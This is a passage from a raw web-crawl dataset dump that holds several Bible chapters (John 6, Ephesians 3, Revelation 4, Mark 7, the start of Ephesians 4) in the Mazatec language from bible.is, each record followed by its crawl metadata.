nchra̱jín ra̱kìi̱, mì tsa 'koa̱á‑ni koni jè maná ra iskine xi̱ta̱ jchínga‑najiòn, ko̱ takó 'ken‑ní; nga̱ jè ra ski̱ne̱ ni̱ño̱ nchra̱jín ra ko̱xin‑la̱, 'se̱é‑la̱ kjo̱binachon ni̱ ta kjiá‑nioo̱. 59Jñá kjoa̱ kìi̱ ra tsakón‑ya ya̱ Capernaum ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío. 60'Kia̱ nga kií'nchré jñà 'én kìi̱ koni 'sín nga tsakón‑ya Jesús, 'ñó kjìn xi̱ta̱ ra kotá'yá'ta‑la̱ kitsò: ―Jñà 'én kìi̱ ra ko̱tsò‑la̱, 'ñó i'in tjín, ¿yá ra ma ko̱kjiín‑la̱? 61Jesús, 'kia̱ nga kjòchi̱ya‑la̱ nga 'cho i̱nchichja̱jno‑la̱ 'én ra tsakón‑ya, iskonangií‑la̱, kitsò‑la̱: ―¿Jñà 'én kìi̱ a 'choó sasén‑no? 62¿Kó'sín ki̱ya‑najiòn, tsa jcha̱‑ná jiòn 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱ nga kjímijìn india‑na ñánda̱ nga tíjna̱ nga ti̱'sa̱ ítjòn? 63Jé Inìma̱ Tsje‑la̱ Nainá ra síkíjnakon‑ná; jè ra ta ijo‑ná, ni̱mé chjí‑la̱. Jè 'én ra bakon‑yá‑najiòn, [mì tsa kjoa̱ 'tse̱ i̱sà'nde‑jìn], kjoa̱ 'tse̱ Inìma̱ Tsje‑la̱ Nainá‑ní jè ra ma si̱ìkíjnakon‑ni inìma̱‑no. 64Tanga tjítsa̱jnajiín-isa‑najiòn ra kjè kì makjiín‑la̱. Nga̱ jè Jesús, ta̱'koa̱ ijyeé tjíjiín‑la̱ nga ti̱'sa̱‑ni yá‑ni ra mì kì ko̱kjiín‑la̱ ra a̱'ta 'tse̱, ko̱ yá‑ni ra si̱ìnga̱tsja jñà xi̱ta̱ kondra̱‑la̱. 65Ko̱ kitsò‑isa: ―Kií ko̱'sín tíxin‑no, ni̱yá ra ma kji̱nchrabà'tà‑na tsa mì jè sabà Na̱'ìn‑na̱ tsjá'nde‑la̱. 66Skanda 'kia̱‑ni nga ko̱kitsò Jesús, kjín jchán xi̱ta̱ ra kotá'yá'ta‑la̱ mì kì ti̱ ya̱ tsikimako̱‑ni, kiì‑ni í'tsi̱n. 67Jesús 'kia̱á iskonangi‑la̱ xi̱ta̱ chi̱'nda‑la̱ ra tejò ma‑nioo̱, kitsò‑la̱: ―¿Jiòn a ti̱'koa̱á mejèn‑te‑no kongí‑no í'ndsion? 68Kitsó jè Simón Pedro: ―Na̱'ìn, ¿yá ra ma kongítji̱ngi-isa‑la̱ji̱n? Ji̱í‑ní ra tjín‑li 'én ra tsjá‑ná kjo̱binachon. 69Ji̱n ijyeé ko̱'sín makjiín‑naji̱n, ko̱ 'ya‑náji̱n nga ji̱í‑ní ra Cristo jè I'ndí Tsje‑la̱ Nainá ra tíjnakon. 70Jesús kitsó‑la̱: ―Tejò ma‑najiòn ra ítsjahíjin‑no, tanga jngo tíjnajin‑najiòn ra xi̱ta̱‑ni̱í tíbíxá‑la̱. 71Jesús, jè 'én ra ko̱kitsò‑la̱, jè kiìchja̱ a̱'ta 'tse̱ Judas, i'ndí‑la̱ Simón Iscariote, nga̱ ni̱'sín ya̱ tíjnajin‑la̱ ra tejò ma‑nioo̱, jè Judas si̱ìnga̱tsja Jesús jñà xi̱ta̱ kondra̱‑la̱.\nSan Juan 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/6","date":"2013-12-09T18:07:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163994706\/warc\/CC-MAIN-20131204133314-00011-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"maa_Latn_score\": 1.000008225440979}","num_words":1601,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.339,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'oa̱á ma‑ne bìtsi'bà‑la̱ Nainá, 'a̱n xi 'mì‑na Pablo nga nda̱yá tìjna̱a, koií nga̱tjì‑la̱ nga 'a̱n beno̱jmí‑nò 'én ndaà‑la̱ Jesucristo, jñò xi mìtsà xi̱ta̱ judío 'mì‑nò. 2Nga jyeé‑la tíjiìn‑nò nga kjo̱ndaà ts'e̱ Nainá‑né nga 'a̱n kitsjaà‑na xá xi kjo̱ndaà tsa̱jòn, 3koni s'ín kisìhiseèn‑na Nainá nga tsakó‑na jè kjoa̱ xi tjí'ma‑la̱ skanda kjòtseé. Jyeé ìsa̱ kiskiì chiba‑nò jñà 'én koi. 4K'e̱ nga tsà ndaà kíxke̱jñoò xo̱jo̱n jè koni s'ín kiskiì ítjòn‑nò, ya̱á jcha̱a nga 'a̱n ndaà tíjiìn‑na̱ jè kjoa̱ tjí'ma i̱t'aà ts'e̱ Cristo. 5Nga ìsa̱ kjòtseé, ni̱jngoò xi̱ta̱ tíjiìn‑la̱ jè kjoa̱ tjí'ma; ta̱nga i̱'ndei̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá kisìhiseèn‑la̱ jñà xi̱ta̱ xi xó jaàjiìn‑ne Nainá, jñà xi̱ta̱ xi tsibíxáya‑la̱ Cristo ko̱ xi kiìchja̱ ngajo‑la̱. 6Jè kjoa̱ tjí'ma, jè‑né nga jñà xi mìtsà xi̱ta̱ judío, k'e̱ nga mokjeiín‑la̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, ngásòn tjoé‑la̱ kjo̱tjò‑la̱ Nainá nga ngásòn i̱xti‑la̱ ma koni jñà xi̱ta̱ judío; jngoò na̱xa̱ndá ko̱ma yije kóho̱tjín; ko̱ jñà xi mìtsà xi̱ta̱ judío ngásòn tjoé‑la̱ kjo̱ndaà koni s'ín kitsjaà‑la̱ tso'ba Nainá jñà xi̱ta̱ judío. 7Ta kjo̱ndaà‑la̱ Nainá‑né nga 'a̱n kitjoé‑na xá jè. Jè kitsjaà kjo̱tjò‑na nga chi̱'nda‑la̱ ma k'e̱ nga kitsjaà‑na nga'ñó‑la̱ mé‑ne nga 'a̱n kèno̱jmiá 'én ndaà‑la̱ Cristo. 8'A̱n, na̱s'ín ìsa̱ 'ñó nangui tìjna̱‑la̱ ngats'iì xi̱ta̱‑la̱ Nainá, ta̱nga Nainá kitsjaà‑na kjo̱ndaà jè, nga 'a̱n chjàyajiìn‑la̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo jñà xi mìtsà xi̱ta̱ judío, mé‑nè nga skoe̱‑ne kó kji 'ñó tse kjo̱ndaà tsjá Cristo skanda mìkiì bijchótji̱ngui‑la̱ kjo̱hítsjeèn‑ná. 9Jè xá xi 'a̱n kjònga̱tsja nga 'a̱n sìhiseèn‑la̱ jñà xi̱ta̱ mé‑ne nga skoe̱‑ne kó s'ín tjín kjoa̱ xi tjí'ma. Nainá xi tsibíndaà i̱sò'nde, jè tíjna'ma‑la̱ kjoa̱ jè skanda ti̱sa̱ tàts'en‑la̱ kjoa̱. 10Koií k'oa̱s'ín komà‑ne mé‑ne skoe̱‑ne i̱'ndei̱ ngats'iì ini̱ma̱ ch'o ko̱ ini̱ma̱ xi ndaà xi tjín‑la̱ nga'ñó i̱jiìn i̱sén nga kjìn sko̱ya kjoa̱chji̱ne̱ tjín‑la̱ Nainá. Ya̱á skoe̱ kjoa̱ koi i̱t'aà ts'e̱ na̱xa̱ndá‑la̱ Cristo. 11Nga ti̱sa̱ tàts'en‑la̱ kjoa̱, Nainá k'oa̱á s'ín tjíndaà‑la̱ nga i̱t'aà ts'e̱ Cristo ki̱tasòn yije kjoa̱ koi. 12I̱'ndei̱, nga Cristo titsa̱jnakoa̱á, jyeé 'ñó takoán. Ko̱maá chi̱koa̱á Nainá ñánda tíjna nga mì ti̱ kiì xkón‑oná nga jyeé mokjeiín‑ná i̱t'aà ts'e̱ Cristo. 13K'oa̱á s'ín siìjé‑nò nga kì nìkjajen‑là takòn jè kjo̱'in xi tìsìkjiaán nga 'a̱n beno̱jmí‑nò 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. Ìsa̱á ndaà kàtatsja‑la̱ ini̱ma̱‑nò nga kjo̱ndaà tsa̱jòn‑nò. 14Koií kjoa̱‑la̱ nga ósi̱jna xkó'nchit'aà‑la̱ nga bìtsi'bà‑la̱ Nainá xi Na̱'èn‑ná. 15Nga i̱t'aà ts'e̱é Nainá nchrobá‑ne nga tjín na̱'èn ko̱ tjín i̱xti nga jngoò ìjngoò ni'ya xi̱ta̱ xi tjín ngajmiì ko̱ xi tjín i̱sò'nde. 16Nainá, nga tse nga'ñó tjín‑la̱, k'oa̱á s'ín bìtsi'bà‑la̱ nga kàtatsjá‑nò nga'ñó‑la̱ xi ts'e̱ ini̱ma̱‑nò nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá kàtasíxájiìn ini̱ma̱‑nò. 17Jè Cristo, ndaà kàtìjnajiìn ini̱ma̱‑nò, nga mokjeiín‑nò i̱t'aà ts'e̱; 'ñó ndaà kàtas'e‑nò kjoa̱tjòcha‑la̱ Nainá koni jngoò yá xi na̱nga̱ fì i̱ma̱‑la̱, ko̱ koni jngoò ni'ya xi na̱nga̱ tjíhijiìn chrjó‑la̱. 18K'oa̱á s'ín ko̱ma‑ne nga jñò ko̱ ngats'iì xi̱ta̱‑la̱ Nainá, jcha̱xkoòn koa̱ ko̱chi̱ya‑nò nga 'ñó tse kjoa̱tjòcha xi tjín‑la̱ Cristo, 'ñó tiyà, 'ñó ndojò, 'ñó na̱nga̱ ko̱ 'ñó 'nga. 19Nguì ndaà jcha̱a jè kjoa̱tjòcha xi tjín‑la̱ Cristo xi ìsa̱ 'ñó otonè‑la̱ ngats'iì kjo̱hítsjeèn‑ná skanda mìkiì machi̱ya‑ná, mé‑ne nga ni̱mé chi̱jat'aà‑nò koni jè Nainá, ni̱mé chi̱jat'aà‑la̱. 20Nainá, 'ñó tse nga'ñó tjín‑la̱, tsà k'e̱ nga mé xi nìjé‑la̱á, skanda ìsa̱á 'ñó síkatonè‑la̱ koni s'ín nìjé‑la̱á ko̱ nga koni s'ín nìkítsjeèn. K'oa̱á s'ín tsjá yije‑ná nga ko̱ nga'ñó‑la̱ xi síxájiìn ini̱ma̱‑ná. 21Jeya kàtìjna Nainá ya̱ i̱jiìn na̱xa̱ndá‑la̱ ko̱ i̱t'aà ts'e̱ Cristo ni̱ta̱ mé na̱chrjein‑ne, ni̱ta̱ mé nó‑ne. K'oa̱s'ín kàtama.\nEfesios 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Eph\/3","date":"2013-12-11T16:26:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164038825\/warc\/CC-MAIN-20131204133358-00055-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":553,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.318,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ra ijye kjomà a̱skan‑nioo̱ ískotsíjen‑náa̱ ya̱ ján i'ngaá ko̱ kíjtse‑náa̱ ngajmi nga ti̱'xá jngo xo̱tjo̱ba̱, ko̱ jè jta̱ ra kí'nchree̱ nga 'sa̱ ítjòn ra ko̱'sín tsò koni jngo chrjoo̱, kitsò‑na: ―Nchrabámijìn i̱jndíi̱; 'a̱án kokon‑la mé kjoa̱ ra 'sa̱ ko̱ka̱ma 'kia̱ nga ijye ko̱to kjoa̱ ra tíma 'ndi̱ 'ndi̱. 2Ta ndi̱to̱ón 'jiìkànè india‑na jè nga'ñó 'tse̱ Inìma̱ Tsje‑la̱ Nainá, ko̱ kíjtsee̱ jngo íxile̱ ñánda̱ nga tísatéxoma ra tíjna ya̱ ján ngajmi ko̱ ya̱ íxile̱ ra̱kìi̱ tíjna jngo ra ya̱ tíjnasòn. 3Jè ra tíjnasòn íxile̱ nga tíbatéxoma, 'koa̱á 'sín 'ñó fate tsijen koni jè na̱jo̱ ra 'mì jaspe ko̱ koni jè na̱jo̱ ra 'mì cornalina; ko̱ ya̱ a̱ndi‑la̱ íxile̱, ya̱á síjnandi jngo 'ya̱ ra ko̱'sín fate tsijen koni jngo na̱jo̱ ra 'mì esmeralda. 4Kóho'ki tjindi‑la̱ ñánda̱ nga tíjna ra tíjnasòn íxile̱ nga tíbatéxoma, ngi kahíjòn íxile̱ i̱ncha‑isa ñánda̱ tísatéxoma‑te, ko̱ kíjtse‑náa̱ nga kahíjòn xi̱ta̱ jchínga títsa̱jnasòn ra ngi nikje chroba kjòn nikje ra kjiya, ko̱ ngi jñà corona ra ki̱cha̱ sinè tjí'a sko̱. 5Ya̱ ñánda̱ nga tíjna ra tíjnasòn íxile̱ nga tíbatéxoma, bitjoó ni'í 'cho̱n ko̱ 'tsiín 'cho̱n, ti̱'koa̱ na'yá‑la̱ jta̱ ra chja̱; ko̱ ito ni'í síhisen ra títì ñánda̱ nga tíjna masen íxile̱; jñà ni'í kìi̱, jñà inìma̱ tsje ra ito ma‑ni 'tse̱ Nainá. 6Ya̱ ngixko̱n jè ra tíjnasòn íxile̱ nga tíbatéxoma kjijnaá jngo ndáchikon ra ko̱'sín 'ki koni jngo chi̱tsín ra 'ñó fate. Ko̱ ya̱ a̱'ta íxile̱ ko̱ ya̱ a̱ndi‑la̱ ijòn ma‑ni ra títsa̱jnakon títsa̱jna; ko̱ kóhotíjngo ijo‑la̱ jñà ra ijòn ma‑ni ra títsa̱jnakon, jndíi̱ ra ján kitsejnó xko̱n. 7Jè ra tíjna ítjòn jñà ra títsa̱jnakon koni 'ki xaá 'ki; jè ra ma‑ni jò koni 'ki nchra̱ja̱ i'ndí 'ki; ko̱ jè ra ma‑ni jàn i̱sén‑la̱ xi̱ta̱á tjín‑la̱; ko̱ jè ra ma‑ni ijòn, 'koa̱á 'sín 'ki koni xija̱ ra tsá'bajin ya̱ a̱jin i̱sén. 8Jñà ra ijòn ma‑nioo̱, jñà ra títsa̱jnakon, jón‑jon na̱jngá tjín‑la̱ nga jngó jngó; ko̱ ya̱ nga tíjngo a̱ndi‑la̱ ko̱ ya̱ nga̱ya‑la̱, jndíi̱ ra ján tjí'ta xko̱n; ko̱ mì kì síkjáya nga ni̱chjin ko̱ ni̱tje̱n nga tsò: Tsje‑ní, tsje‑ní, tsje jè Na̱'ín‑ná, jè Nainá ra bato tse nga'ñó tjín‑la̱, jè ra tíjna‑ni skanda kjo'tsia̱, ko̱ jè ra tíjna skanda 'ndi̱ ko̱ jè ra sa kj'i̱í india‑ni. 9Jñà ra títsa̱jnakon, i̱nchibexkón‑ní ko̱ 'koa̱á 'sín i̱nchitsò‑la̱ nga tse kjo̱nda kata'se‑la̱, ko̱ i̱nchitsjá‑la̱ kjoa̱jeya jè ra tíjnasòn íxile̱ nga tíjnakon skanda ta mé ni̱chjin‑nioo̱. Ko̱ 'kia̱ nga ko̱'sín 'sín, 10jñà xi̱ta̱ jchínga ra kahíjòn ma‑nioo̱ mincha-niña‑ní nga mincha-xkó'nchi'ta‑la̱ jè ra tíjnasòn íxile̱, ti̱'koa̱á bexkón‑ní jè ra tíjnakon ta mé ni̱chjin‑nioo̱, ko̱ ya̱á síkíhijyo jñà corona‑la̱ ya̱ ngixko̱n jè ra tíjnasòn íxile̱ nga tsò: 11Na̱'ìn bakén‑li nga ji̱ tjábé‑li kjoa̱jeya nga kata'yaxkón‑li nga̱ batoó 'ñó tse nga'ñó tjín‑li, nga ji̱í tsikindi nga'tsì tsajmì ra tjín ko̱ kjo̱bítsjen tsa̱ji‑ní nga tjín nga'tsì tsajmì ra tjín ko̱ nga ma isinda nga'tsiòo̱.\nApocalipsis 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/4","date":"2013-12-09T21:55:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163999838\/warc\/CC-MAIN-20131204133319-00051-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"maa_Latn_score\": 1.0000061988830566}","num_words":457,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.363,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà xi̱ta̱ fariseo ra 'ji‑ni ya̱ na̱xi̱ndá Jerusalén ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, ya̱á ijchòjkon Jesús. 2Jñà xi̱ta̱ kìi̱, 'kia̱ nga kijtse i'ka xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús nga ta bakjèn tjé‑ní nga mí kì biníjno tsja 'kia̱ nga bakjèn, tsajo̱óya‑ni nga kitsò, nga mì kì i̱nchisíhitjasòn koni 'sín tjín kjo̱téxoma 'tse̱ xi̱ta̱ Judío ra xkón tjín. 3Nga̱ jñà xi̱ta̱ fariseo ko̱ nga'tsì xi̱ta̱ Judío, 'koa̱á 'sín síhitjasòn koni 'sín tjín kjo̱téxoma 'tse̱ xi̱ta̱ jchínga‑la̱; tsa mì kì nda ki̱níjno tsja, mì kì ko̱kje̱n. 4Ti̱'koa̱á 'kia̱ nga 'fiì‑ni ndi̱tsi̱n, ítjòn biníjno tsja, 'kia̱á bakjèn; ko̱ tjín‑isa‑la̱ kjo̱téxoma ra kj'ií koni 'kia̱ nga biníya chi̱tsín‑la̱, biníya ti̱jí‑la̱, ko̱ chi̱tsín ki̱cha̱‑la̱ ko̱ nga biníjno na̱chan‑la̱. 5Kií iskonangi‑ila̱ Jesús jñà xi̱ta̱ fariseo ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, kitsò‑la̱: ―¿Mé‑ni mì kì síhitjasòn‑ni jñà xi̱ta̱ ra kotá'yá'ta‑li, koni 'sín tjín kjo̱téxoma‑la̱ xi̱ta̱ jchínga? ¿Mé‑ni ta bakjèn tjé‑ni, nga mì kì biníjno tsja? 6Jesús kitsó‑la̱: ―Jè xi̱ta̱ ra tsi'kìn Isaías, jè ra isìchjeén Nainá kjotseé nga kiìchja̱ ngajo‑la̱, ndaá kiìchja̱ ra a̱'ta tsa̱jiòn ra jò i̱sén tjín‑no 'kia̱ nga tsikínda xa̱jo̱n nga kitsò: Jñà xi̱ta̱ kìi̱, 'kia̱ nga ko̱tsò nga 'a̱án bexkón‑na, tà 'én ra ko̱tsò‑la̱, tanga jñà inìma̱‑la̱ kjiín síkítsa̱jna‑ni. 7Ni̱mé chjí‑la̱ koni 'sín bexkón‑na, nga̱ 'koa̱á 'sín bakón‑ya kjo̱téxoma‑la̱ xi̱ta̱ koni tsa 'tse̱ Nainá. 8Jiòn, níkíjna'taxìn‑nájiòn ra ngi jè kjo̱téxoma‑la̱ Nainá, ko̱ jé mangítji̱ngi‑la jè kjo̱téxoma‑la̱ xi̱ta̱ jchínga koni 'kia̱ nga biníya ti̱jí‑no, ko̱ chi̱tsín‑no; ko̱ kjín sko̱ya‑isa kjo̱téxoma tjín‑no koni 'sín 'nià. 9Kitsó‑isa Jesús: ―Jiòn, nachrjengi‑nó ra ngi jè kjo̱téxoma‑la̱ Nainá, ko̱ jé nihitjasòn jè kjo̱téxoma‑la̱ xi̱ta̱ jchínga‑no. 10Jè Moisés, 'koa̱á 'sín kitsò: \"Jcha̱xkín jè na̱'ìn‑li ko̱ na̱‑li.\" Ko̱ ti̱'koa̱á kitsó‑te: \"Jè ra ki̱chja̱jno‑la̱ na̱'ìn‑la̱ ko̱ na̱‑la̱, tjínè‑la̱ nga ki̱yá.\" 11Tanga jiòn, 'koa̱á 'sín bixó: \"Jngo xi̱ta̱, maá ki̱tso̱‑la̱ na̱'ìn‑la̱ ko̱ tsa na̱‑la̱: Mì kì ko̱ma kósi̱ko̱‑la; nga̱ nga'tsì tsajmì ra tjín‑na, Korbán‑ní.\" (Jè 'én ra tsò Korbán, jè Nainá, ijyeé kítsja ijye‑la̱, tsò‑ni.) 12Ko̱ bixó‑nó: \"Mì ti̱ kì tjí'nde‑la̱ nga ma ko̱si̱ko̱ jè na̱'ìn‑la̱ ko̱ tsa na̱‑la̱.\" 13Jiòn nachrjengi‑nó jè 'én‑la̱ Nainá 'kia̱ nga ko̱'sín nìkatoya‑la xàngio̱o jè kjo̱téxoma ra 'tse̱ xi̱ta̱ jchínga‑no; ko̱ kjín sko̱ya kjo̱téxoma tjín‑isa‑no ra ko̱'sín 'nià. 14Jesús 'kia̱á kiìchja̱‑la̱ nga'tsì xi̱ta̱, kitsò‑la̱: ―Nga'tsì‑no, nda ti̱ná'yá‑ná, ko̱ ti̱'koa̱á nda ti̱chi̱ya‑la ijo‑no. 15Jñà xi̱ta̱, mì tsa jñà ra 'faha'sen‑jin ijo‑la̱ ra síkitsón. Jñá‑ní ra síkitsón, ra inìma̱‑la̱ nchrabájin‑ni. 16¡Nda ti̱chi̱ya‑la takòn koni 'sín tíxin‑no! 17Jesús, 'kia̱ nga ijye itjokàjin‑ni ya̱ ñánda̱ nga tjítsa̱jna jñà xi̱ta̱ kìi̱, kijì‑ní, 'jaha'sen jngo ni'ya; ko̱ 'kia̱á jñà xi̱ta̱ ra kotá'yá'ta‑la̱ iskonangi‑la̱ kitsò‑la̱: \"Kó'sín tsò‑ni jè kjoa̱ mangásòn jè ra kà'bena̱jmíyi.\" 18Kitsó Jesús: ―¿Jiòn, a ti̱'koa̱á mì kì fìya‑no kótsò‑ni? ¿A mí 'ya jiòn nga nga'tsì tsajmì ra 'faha'sen‑jin ya̱ ijo‑la̱ xi̱ta̱ mì tsa síkitsón‑jin? 19Nga̱ mì tsa ya̱ inìma̱‑la̱ 'faha'sen‑jin. Ya̱á 'faha'sen ya̱ i̱ndsi̱'ba̱, a̱kjòn fì kitsa̱jna‑nì. Jesús, 'kia̱ nga ko̱'sín kitsò, 'koa̱á 'sín tsikíya chi̱ya‑ná nga nga'tsì tsajmì ra ma chine, tsje‑ní; mì tsa síkitsón‑jin inìma̱‑la̱ xi̱ta̱. 20Kitsó‑isa Jesús: ―Jé‑ni jè kjo̱bítsjen ra ya̱ bitjojin‑ni ya̱ inìma̱‑la̱ xi̱ta̱ ra síkitsón. 21Nga kì‑ni̱, ya̱á inìma̱‑la̱ xi̱ta̱ nchrabá‑jin‑ni, jñà kjo̱bítsjen ra 'cho tsò, koni jè kjoa̱chijngi 'tse̱ xi̱ta̱ ra ijye tsixan ko̱ ra kjè kì bixan, ko̱ ra ma‑la̱ sí'ken xi̱ta̱, 22ko̱ kjoa̱ chijé, ko̱ kjoa̱ nga tse mejèn‑la̱ nga 'se̱‑la̱ tsajmì, ko̱ kjoa̱'cho, ko̱ kjoa̱ chìndo̱cha̱, ko̱ kjoa̱ chrjá'a, ko̱ kjoa̱xìtakòn, ko̱ kjoa̱ ndiso, ko̱ kjoa̱ 'nga ikon, ko̱ kjoa̱ chi̱koán ra mì tsa ítjòn síkítsjen kó'sín nga 'sín. 23Jñá‑ní nga'tsì kjoa̱'cho kìi̱ ra nchrabájin‑ni inìma̱‑la̱ xi̱ta̱ ra síkitsón. 24Kijí Jesús ya̱ nangi ra chja̱‑ni Tiro ko̱ Sidón. 'Kia̱ nga ijchò ya̱, 'jaha'seén jngo ni'ya; mején‑la̱ nga mì kì yá xi̱ta̱ ra ske̱ tsiki, tanga mì kì kjomà tsikijna'ma. 25Ndi̱to̱ón kií'nchré jngo chjo̱ón ra inìma̱ 'cho‑la̱ ni̱í tíjnajin ya̱ inìma̱‑la̱ tsati‑la̱. Kijì ya̱ ñánda̱ nga tíjna Jesús; tsasèn-xkó'nchi'ta‑la̱; 26tsikítsa'ba‑la̱ nga katachrjekàjin ya̱ inìma̱‑la̱ tsati jè inìma̱ 'cho‑la̱ ni̱í ra tíjnajin. Jè chjo̱ón ra̱kìi̱, ya̱á i̱'nde‑la̱ ñánda̱ 'mì Sirofenicia, ko̱ 'én griegoó chja̱. 27Tanga Jesús kitsó‑la̱: ―Ti̱'ndi nga jñà kjòn‑la i̱xti katakjèn ítjòn. Mì kì nda tjín nga chjí'an‑la jñà ni̱ño̱‑la̱ i̱xti ko̱ a̱kjòn jñà nañá 'ki̱‑la. 28Jè chjo̱ón ra̱kìi̱ kitsó‑ní: ―Kixi̱í kjoa̱ Na̱'ìn; tanga jñà ndí nañá kjine‑ní xi̱‑la̱ tsajmì ra xaájten‑ngí ya̱ ímixa̱, jñà ra xaájten‑la̱ jñà i̱xti. 29'Kia̱á kitsò Jesús: ―Tà nga̱tjì‑la̱ jè 'én ra kanakjí, ndaá tjín. 'Tin‑ni ya̱ ni'ya‑li. Jè inìma̱ 'cho‑la̱ ni̱í, ijyeé 'ndi̱í itjokàjin‑ni ya̱ inìma̱‑la̱ tsati‑li. 30'Kia̱ nga ijye ijchò‑ni ya̱ ni'ya‑la̱ jè chjo̱ón, jè tsati‑la̱, ya̱á kjijnasòn ya̱ na̱chan; ko̱ ijyeé itjokàjin‑ni ya̱ inìma̱‑la̱ jè inìma̱ 'cho‑la̱ ni̱í. 31Jesús 'kia̱ nga kijì‑ni ya̱ i̱'nde ra chja̱‑ni Tiro, 'koa̱á 'sín 'jahato ya̱ nangi Sidón, ko̱ tsatojin‑te ya̱ nangi ra chja̱‑ni Decápolis nga ijchò‑ni ya̱ ndáchikon 'tse̱ Galilea. 32Jngo xi̱ta̱ ra jtaya ko̱ ti̱'koa̱ lajma‑te, ijchòko̱‑la̱ xi̱ta̱; a̱kjòn tsikítsa'ba‑la̱ Jesús nga kátá'ta‑la̱ tsja jè xi̱ta̱ ra kìi̱. 33Jè Jesús, a̱'ta xìn kiìko̱ ya̱ ñánda̱ nga tsìn xi̱ta̱; jahí'sen na̱jmá‑tsja ya̱ chíká‑la̱ xi̱ta̱ ra̱kìi̱, ko̱ ti̱'koa̱á isìkajàjno nandá na̱chrá‑la̱ ya̱ ndi̱je̱n‑la̱. 34Ko̱ a̱kjòn iskotsíjen ya̱ ján ngajmi; 'ñó jaátse‑la̱, kitsò: ―¡Efata! (Jè 'én ra tsò Efata, katatjá'xa̱ tsó‑ni.) 35Ko̱ ndi̱to̱ón itjá'xa̱‑ni chíká‑la̱ xi̱ta̱ ra̱kìi̱ ko̱ kjomà kií'nchré‑ni, ko̱ ti̱'koa̱á kjomà tsikí'bi̱‑ni ndi̱je̱n‑la̱ ko̱ ndaá kiìchja̱‑ni. 36Jesús, 'koa̱á 'sín kitsò‑la̱ nga kì tà chjàn yá ra 'béna̱jmí‑la̱. Tanga 'kia̱ nga 'ñó tsikí'tin nga kì tà chjàn yá ra 'béna̱jmí‑la̱, ta isa̱á jnchro, sa 'ñó sa 'ñó tsi'kéna̱jmí nga tíjngo. 37Jñà xi̱ta̱ ra kií'nchré, ta kjóxkón‑la̱, kitsó‑ní: ―Batoó nda ma‑la̱ 'sín, ta mé‑isa‑ni. Skanda maá‑la̱ sínda‑ni ni̱'sín jñà xi̱ta̱ ra jtaya ko̱ ra mì kì ma chja̱.\nSan Marcos 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/7","date":"2013-12-12T12:52:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164583265\/warc\/CC-MAIN-20131204134303-00098-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":907,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Koií kjoa̱‑la̱ nga k'oa̱s'ín bìtsi'bà‑nò nga ndaà ti̱jchá yijo‑nò koni s'ín ok'ìn‑la̱ kjoa̱ xi xó kinokjoà‑nò. 'A̱n, nda̱yá tìjna̱a'ya jè nga̱tjì‑la̱ nga Nainá tìsìxá‑la̱. 2Jñò, kì 'nga ikon 'nè; indaàkjoa̱ t'e̱en, kàtas'e‑nò kjoa̱tsejta; ngásòn kàtachíkjoa̱‑nò mé kjoa̱ xi tjín‑nò nga matsjacha xinguio̱o. 3Tìnè‑là yijo‑nò nga titsa̱jnajtión‑ko̱o xinguio̱o koni s'ín jye tsibítsa̱jnajtín‑nò jè Ini̱ma̱ Tsjeè‑la̱ Nainá, mé‑ne nga 'nchán ki̱tsa̱jna‑nò. 4Nga tà jngoò ma na̱xa̱ndá‑la̱ Nainá; ko̱ tà jngoò ma Ini̱ma̱ Tsjeè‑la̱ Nainá; ti̱koa̱ tà jngoò kjoa̱ chiñá‑lá nga Nainá xó kiìchja̱‑ná; 5ko̱ tà jngoò ma Na̱'èn‑ná Jesucristo xi otíxoma‑ná; tà jngoò kjoa̱ tjín koni s'ín mokjeiín‑ná i̱t'aà ts'e̱ Cristo; ti̱koa̱á tà 